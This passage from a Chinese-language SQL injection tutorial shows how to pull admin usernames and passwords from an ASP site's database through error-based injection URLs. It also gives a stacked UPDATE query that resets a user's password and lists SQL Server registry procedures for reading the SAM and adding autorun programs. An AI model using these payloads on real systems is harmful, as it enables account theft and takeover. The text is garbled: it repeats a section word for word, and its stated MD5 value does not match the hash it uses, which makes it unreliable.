猜到第一个用户名及密码后,同理,可以猜出其他所有用户名

与密

码。注意:有时得到的密码可能是经 MD5 等方式加密后的信

息,还需要

用专用工具进行脱密。或者先改其密码,使用完后再改回来,

见下面说

明。

简单法:猜用户名用

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 flag

from TestDB.dbo. admin where username>1) , flag 是 

admin 表中的

一个字段, username 是用户名字段,此时 abc.asp 工作异常

,但能得到 Username 的值。与上同样的方法,可以得到第二用户名,

第三个用

户等等,直到表中的所有用户名。

猜用户密码: HTTP://xxx.xxx.xxx/abc.asp?p=YY and 

(select

top 1 flag from TestDB.dbo. admin where pwd>1) , flag 

是 admin

表中的一个字段, pwd 是密码字段,此时 abc.asp 工作异常

,但能得到

pwd 的值。与上同样的方法,可以得到第二用户名的密码,第

三个用户

的密码等等,直到表中的所有用户的密码。密码有时是经 MD5 

加密的,

可以改密码。

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update 

TestDB.dbo.admin set

pwd=' a0b923820dcc509a' where username='www';-- ( 1 

的 MD5 值

为: AAABBBCCCDDDEEEF,即把密码改成 1; www 为已知

的用户名 )

用同样的方法当然可把密码改原来的值。

七、几个 SQL-SERVER 专用手段

1、 利用 xp_regread 扩展存储过程修改注册表

[xp_regread] 另一个有用的内置存储过程是 xp_regXXXX 类的

函数集合(Xp_regaddmultistring, Xp_regdeletekey,

Xp_regdeletevalue, Xp_regenumkeys, 


Xp_regenumvalues,

Xp_regread, Xp_regremovemultistring, Xp_regwrite) 。


攻击

者可以利用这些函数修改注册表,如读取 SAM 值,允许建立


空连

接,开机自动运行程序等

七、几个 SQL-SERVER 专用手段

1、 利用 xp_regread 扩展存储过程修改注册表

[xp_regread] 另一个有用的内置存储过程是 xp_regXXXX 类的

函数集合(Xp_regaddmultistring, Xp_regdeletekey,

Xp_regdeletevalue, Xp_regenumkeys, 


Xp_regenumvalues,

Xp_regread, Xp_regremovemultistring, Xp_regwrite) 。


攻击

者可以利用这些函数修改注册表,如读取 SAM 值,允许建立空连

接,开机自动运行程序等